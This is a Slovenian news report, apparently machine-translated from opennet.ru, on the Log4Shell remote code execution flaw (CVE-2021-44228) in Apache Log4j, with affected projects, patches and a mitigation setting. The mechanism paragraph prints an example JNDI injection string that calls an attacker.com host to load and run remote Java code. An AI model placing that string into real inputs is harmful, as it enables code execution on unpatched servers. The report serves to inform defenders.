Katastrofalna ranljivost v Apache Log4j, ki vpliva na številne projekte Java

V Apache Log4j, priljubljenem ogrodju za organiziranje beleženja v aplikacijah Java, je bila ugotovljena kritična ranljivost, ki omogoča izvajanje poljubne kode, ko je v dnevnik zapisana posebej oblikovana vrednost v formatu »{jndi:URL}«. Napad se lahko izvede na aplikacije Java, ki beležijo vrednosti, prejete iz zunanjih virov, na primer pri prikazu problematičnih vrednosti v sporočilih o napakah.

Ugotovljeno je bilo, da je težava prizadela skoraj vse projekte, ki uporabljajo okvire, kot so Apache Struts, Apache Solr, Apache Druid ali Apache Flink, vključno s Steam, Apple iCloud, odjemalci in strežniki Minecraft. Pričakuje se, da bi ranljivost lahko povzročila val množičnih napadov na korporativne aplikacije, s čimer bi se ponovila zgodovina kritičnih ranljivosti v ogrodju Apache Struts, ki ga po grobi oceni v spletnih aplikacijah uporablja 65 % družbe Fortune. 100 podjetij, vključno s poskusi skeniranja omrežja za ranljive sisteme.

Težavo otežuje dejstvo, da je bil delujoč exploit že objavljen, popravki za stabilne veje pa še niso bili prevedeni. Identifikator CVE še ni bil dodeljen. Popravek je vključen samo v testno vejo log4j-2.15.0-rc1. Kot rešitev za blokiranje ranljivosti je priporočljivo, da parameter log4j2.formatMsgNoLookups nastavite na true.

Težavo je povzročilo dejstvo, da log4j podpira obdelavo posebnih mask »{}« v vrsticah, izhodnih v dnevnik, v katerih se lahko izvajajo poizvedbe JNDI (Java Naming and Directory Interface). Napad se zmanjša na posredovanje niza z zamenjavo “${jndi:ldap://attacker.com/a}”, po obdelavi katerega bo log4j strežniku attacker.com poslal zahtevo LDAP za pot do razreda Java . Pot, ki jo vrne napadalčev strežnik (na primer http://second-stage.attacker.com/Exploit.class), bo naložena in izvedena v kontekstu trenutnega procesa, kar napadalcu omogoča izvajanje poljubne kode na sistem s pravicami trenutne aplikacije.

Dodatek 1: Ranljivosti je bil dodeljen identifikator CVE-2021-44228.

Dodatek 2: Identificiran je bil način za obhod zaščite, dodane z izdajo log4j-2.15.0-rc1. Predlagana je bila nova posodobitev, log4j-2.15.0-rc2, s popolnejšo zaščito pred ranljivostjo. Koda poudarja spremembo, povezano z odsotnostjo neobičajne prekinitve v primeru uporabe nepravilno oblikovanega URL-ja JNDI.

Vir: opennet.ru

Dodaj komentar